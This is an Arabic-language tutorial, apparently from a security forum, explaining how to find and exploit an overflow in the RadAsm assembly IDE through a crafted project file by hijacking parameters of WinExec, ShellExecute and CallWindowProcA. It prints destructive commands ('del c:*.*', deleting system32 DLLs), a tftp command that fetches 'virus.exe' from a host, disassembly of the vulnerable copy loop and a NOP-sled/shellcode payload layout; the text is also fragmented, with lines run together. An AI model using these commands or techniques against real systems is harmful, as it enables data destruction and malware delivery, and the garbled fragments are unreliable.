السلام عليكم. اليوم بإذن الله سنشرح نوع جديد من الثغرات و سنتطرق إلى كيفة إستثماره وإيجاده على مثال حي وهو برنامج RadAsm بيئة برمجة Assembly 32bit ،هذا النوع من الثغرات لا يختلف في طريقة عمله عن الطريقة الأساسي والتي تستند على تغير سير التنفيذ عن طريق الكتابة على عنوان العودة،فهذه الثغرة تعتمد على تغيير مؤشر لدوال تنفيذ الأكواد ( CallWindowProcA,CreateThread.....) و الشيئ الإضافي هو من الممكن تشغيل برامج لأغراض ضارة، اي اننا نقسم إستغلال هذا النوع من الثغرات إلى نوعين: 1-إختطاف الوسيط للدوال ShellExecute,WinExec فيمكننا من تشغيل برامج ضارة بالجهاز مثلا الأمر
del c:*.*
API Function Parametre Hijacking
UINT WinExec( LPCSTR lpCmdLine, UINT uCmdShow );
lpCmdLine=عنوان السلسلة النصية للكومند او البرنامج المراد تشغيلهuCmdShow=وضعية الظهور,مخفي ,عادي...
del C:/windows/system32/*.dlltftp -i victimehost GET virus.exe C:/Program Files/WinRAR/WinRAR.exe
LRESULT CallWindowProc( WNDPROC lpPrevWndFunc, HWND hWnd, UINT Msg, WPARAM wParam LPARAM lParam );
lpPrevWndFunc=المؤشر إلى الإجرائة الأصليةhWnd= مقبض النافذة التي تحتوي على الإجرائية المراد تمرير الرسائل لهاMsg= الرسالة المراد تمريرها wParam,lParam= معلومات إضافية للرسالة تختلف من رسالة إلى أخرى
MOV DWORD PTR DS:[address of parametre],EAX
[Project]Assembler=masmType=nopDescription=Simple Fuzze On AVBackup=$PBakGroup=1GroupExpand=1[Files]1=AVP Over.Asm2=AVP Over.Inc[MakeFiles]0=bug.rap1=bug.asm.........وهكذا.....[MakeDef]Menu=0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,01=data2=....3=.....[Group]Group=Added files,Assembly,Resources,Misc,Modules1=22=2[VersionControl]Settings=1246data....[Colref]0=00FFFFFF....data an data more data[Collapse]1=2=
MOV ESI,DWORD PTR SS:[EBP+8]MOV EDI,DWORD PTR SS:[EBP+C]
MOV AL,BYTE PTR DS:[ESI]CMP AL,2CJE SHORT RadASM.0040C2A8OR AL,ALJE SHORT RadASM.0040C2A8MOV BYTE PTR DS:[EDI],ALINC ESIINC EDIJMP SHORT RadASM.0040C298
PUSH DWORD PTR DS:[495C46]
[NOP OR INC SLEDGE][Shellcode][addess of Palyoads]